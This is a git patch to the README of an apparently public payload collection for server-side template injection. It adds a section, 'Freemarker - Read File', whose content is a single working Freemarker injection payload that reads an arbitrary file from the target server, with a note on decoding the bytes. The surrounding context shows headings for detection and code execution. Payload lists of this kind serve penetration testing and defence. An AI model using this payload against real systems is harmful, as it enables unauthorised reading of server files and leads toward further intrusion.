From a26867fdf9b37471415f581126cf9d04e8cfc2e9 Mon Sep 17 00:00:00 2001 From: ahronmoshe Date: Tue, 26 Oct 2021 20:35:04 +0300 Subject: [PATCH] Update README.md --- Server Side Template Injection/README.md | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/Server Side Template Injection/README.md b/Server Side Template Injection/README.md index 66388e3..b70b1e3 100644 --- a/Server Side Template Injection/README.md +++ b/Server Side Template Injection/README.md @@ -155,6 +155,13 @@ You can try your payloads at [https://try.freemarker.apache.org](https://try.fre The template can be `${3*3}` or the legacy `#{3*3}`. +### Freemarker - Read File + +```js +${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('path_to_the_file').toURL().openStream().readAllBytes()?join(" ")} +Convert the returned bytes to ASCII +``` + ### Freemarker - Code execution ```js